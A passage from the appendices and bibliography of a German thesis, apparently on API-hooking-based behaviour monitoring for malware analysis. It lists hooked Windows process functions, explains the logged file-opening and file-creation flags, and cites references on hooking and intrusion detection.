Der Wert wird als Widestring (Unicode) zurückgegeben.: 97 Anhang A. Gehookte Funktionen A.4. Prozessfunktionen - NtCreateProcess (ntdll.dll): Erstellt einen neuen Prozess. - NtCreateProcessEx (ntdll.dll): Erstellt einen neuen Prozess. - NtOpenProcess (ntdll.dll): Öffnet eine existierenden Prozess. - NtTerminateProcess (ntdll.dll): Beendet einen existierenden Prozess mit all seinen Threads. - NtCreateSection (ntdll.dll): Erstellt eine Sektion, in die das Abbild einer Datei geladen wird. Vor der Erstellung eines Prozesses wird diese Funktion mit einer ausführbaren Datei als Argument aufgerufen. - CreateProcessA (kernel32.dll): Erstellt einen neuen Prozess inklusive seines Hauptthreads. Die Kommandozeile und Startdatei werden als Ansistrings übergeben. - CreateProcessW (kernel32.dll): Erstellt einen neuen Prozess inklusive seines Hauptthreads. Die Kommandozeile und Startdatei werden als Widestrings (Unicode) übergeben. - WinExec (kernel32.dll): Führt die als Argument übergebene Anwendung aus. - OpenProcess (kernel32.dll): Öffnet eine existierenden Prozess. - TerminateProcess (kernel32.dll): Beendet einen existierenden Prozess mit all seinen Threads. 98 Anhang B. Kommentarerklärungen Bei manchen Einträgen der Ausgabeliste wird ein Kommentar angezeigt. Hier werden möglich Kommentare aufgezählt und ihre Bedeutung angegeben. B.1. OpenFile Die Funktion OpenFile erwartet einen Parameter uStyle, der besagt, wie mit der Zieldatei verfahren werden soll. Beispielsweise lassen sich mit der Funktion OpenFile auch Dateien löschen. Mögliche Werte sind: - OF_CREATE: Erstellt die Datei. Falls diese schon existiert, so wird dessen Inhalt gelöscht. - OF_DELETE: Löscht die Datei. - OF_EXIST: Öffnet die Datei und schliesst sie sofort wieder. Zum Testen, ob die Datei existiert, zu benutzen. - OF_READ: Öffnet die Datei nur mit Leserechten. - OF_WRITE: Öffnet die Datei nur mit Schreibrechten - OF_READWRITE: Öffnet die Datei mit Lese- und Schreibrechten. - OF_SHARE_COMPAT: Erlaubt nach dem Öffnen jedem anderen Prozess, die Datei auch zu Öffnen, Die Zugriffsteuerung der anderen Programme kann jedoch nicht festlegt werden. - OF_SHARE_DENY_NONE: Öffnet die Datei ohne anderen Prozessen die Lese- oder Schreibrechte zu entziehen. - OF_SHARE_DENY_READ: Öffnet die Datei und entieht anderen Prozessen die Leserechte. - OF_SHARE_DENY_WRITE: Öffnet die Datei und entieht anderen Prozessen die Schreibrechte. - OF_SHARE_EXCLUSIVE: Öffnet die Datei und entieht anderen Prozessen die Lese- und Schreibrechte. Wenn die Datei bereits mit Lese- oder Schreibrechten geöffnet war, dann schlägt das Öffnen fehl. 99 Anhang B. Kommentarerklärungen - OF_PARSE: Füllt nur den ReOpen-Buffer. - OF_REOPEN: Öffnet die Datei neu und verwendet Informationen aus dem ReOpen-Buffer. - OF_PROMPT: Zeigt eine Dialogbox mit Wiederholen- und Abbrechenbutton an, falls die Datei nicht existiert. - OF_VERIFY: Test, ob das Datum und die Zeit der Datei seit dem letzten Öffnen nicht verändert wurden. (Zum Überprüfen des Schreibschutzes gedacht) B.2. NtCreateFile Die Funktion NtCreateFile erwartet einen Parameter CreationDisposition, der besagt, wie mit der möglicherweise schon existierenden Zieldatei verfahren werden soll. Auch mit der Funktion NtCreateFile lässt sich der Inhalt einer Datei löschen. Mögliche Werte sind: - FILE_SUPERSEDE: Erstellt eine neue Datei. Falls die Datei schon existiert, so wird sie durch die neue Datei ersetzt. - FILE_CREATE: Erstellt eine neue Datei. Falls die Datei schon existiert, so schlägt die Funktion fehl. - FILE_OPEN: Öffnet eine Datei. Falls die Datei nicht existiert, so schlägt die Funktion fehl. - FILE_OPEN_IF: Öffnet eine Datei. Falls die Datei nicht existiert, so wird eine neue Datei erstellt. - FILE_OVERWRITE: Öffnet eine Datei und überschreibt sie. Falls die Datei nicht existiert, so schlägt die Funktion fehl. - FILE_OVERWRITE_IF: Öffnet eine Datei und überschreibt sie. Falls die Datei nicht existiert, so wird eine neue Datei erstellt. B.3. CreateFile Die Funktionen CreateFile(A/W) erwartet einen Parameter dwCreationDisposition, der besagt, wie mit der möglicherweise schon existierenden Zieldatei verfahren werden soll. Auch mit den Funktionen CreateFile(A/W) lässt sich der Inhalt einer Datei löschen. Mögliche Werte sind: - CREATE_ALWAYS: Erstellt immer eine neue Datei. Falls die Datei schon existiert, wird deren Inhalt gelöscht. - CREATE_NEW: Erstellt eine neue Datei. Falls die Datei schon existiert, so schlägt die Funktion fehl. 100 B.4. Funktionen zum Empfangen von Datagrammen - OPEN_ALWAYS: Öffnet immer die Datei. Falls die Datei noch nicht existiert, so wird sie neu erstellt. - OPEN_EXISTING: Öffnet die Datei. Falls die Datei noch nicht existiert, so schlägt die Dunktion fehl. - TRUNCATE_EXISTING: Öffnet die Datei und löscht ihren Inahlt. Falls die Datei noch nicht existiert, so schlägt die Funktion fehl. B.4. Funktionen zum Empfangen von Datagrammen Auch bei den Funktionen recv (wsock32.dll), recv (ws2_32.dll) und recvfrom (ws2_32.dll) wird manchmal ein Kommentar zu dem entsprechenden Funktionsaufruf übermittelt. Dies geschieht immer dann, wenn das Empfangen der Datagramme fehlschlägt. In diesen Fällen werden im Kommentarfeld die Fehlernummer und eine kurze Erklärung dazu übertragen. 101 Anhang B. Kommentarerklärungen 102 Literaturverzeichnis [Cor] Microsoft Corporation. High Perfomance Counter. msdn2.microsoft.com/en-us/library/ms674865.aspx. [Cor07] Microsoft Corporation. Detours, 2007. http://research.microsoft.com/ sn/detours/. [Cro02] Tim Crothers. Implementing Intrusion Detection Systems: A Hands-On Guide for Securing the Network. Wiley, 2002. [Fat04] Holy Father. Hooking Windows API – Technics of hooking API functions on Windows. CodeBreakers Journal, 2004. [Fre] Felix Freiling. Vorlesung: Verlässliche Verteilte Systeme 1. RWTH Aachen, WS 2004/2005. [ho] heise online. Das Sicherheitsloch: Buffer-Overflows und wie man sich davor schützt. http://www.heise.de/ct/01/23/216/. [Iva02] Ivo Ivanov. API hooking revealed, 2002. http://www.codeproject.com/ system/hooksys.asp. [Kle01] Tobias Klein. Linux-Sicherheit. Security mit Open-Source-Software - Grundlagen und Praxis. Dpunkt Verlag, 2001. [Kos02] Andreas Kosch. Delphi Win32 Lösungen. Software & Support, 2002. [Lie98] Jochen Liedtke. Unix Network Programming. Vol 2. Interprocess Communications.: 2. Prentice Hall, 2 edition, 1998. [Neb00] Gary Nebbett. Windows NT/2000 - Native API Reference. Sams, 2000. [nt05] net tribune.de. “i love you“-wurm: 5 jahre ist es her!, 2005. www.net-tribune.de/article/060505-04.php. http:// [Rau] Mathias Rauen. MadCodeHook : Windows hooking packet. help.madshi.net/madCodeHook.htm. http:// [Ric99] Jeffrey Richter. Programming Applications for Microsoft Windows. Microsoft Press, 4 edition, 1999. [uBCa] Mark Russinovich und Bryce Cogswell. FileMon für Windows. http:// www.microsoft.com/germany/technet/sysinternals/utilities/ Filemon.mspx. [uBCb] Mark Russinovich und Bryce Cogswell. RegMon for Windows. http:// www.microsoft.com/germany/technet/sysinternals/utilities/ http:// 103 Literaturverzeichnis regmon.mspx. [uDB] Galen Hunt und Doug Brubacher. Detours: Binary Interception of Win32 Functions. In Proceedings of the 3rd USENIX Windows NT Symposium, pages 135–143. [uKJC04] Christopher Gerg und Kerry J. Cox. Managing Security with Snort and IDS Tools. O’Reilly Media, Inc., 1 edition, 2004. [uLZ03] Ed Skoudis und Lenny Zeltser. Malware: Fighting Malicious Code. Prentice Hall PTR, 1 edition, 2003. [uMER05] David A. Soloman und Mark E. Russinovich. Windows Internals. Microsoft Press, 4 edition, 2005. [vB] Marcel van Brakel. JEDI API Conversion Library. http://www.dsdt.info/ jedi/apiconv/. [Wil06] Carsten Willems. Diplomarbeit: Automatic Behavior Analysis of Malware, 2006. 104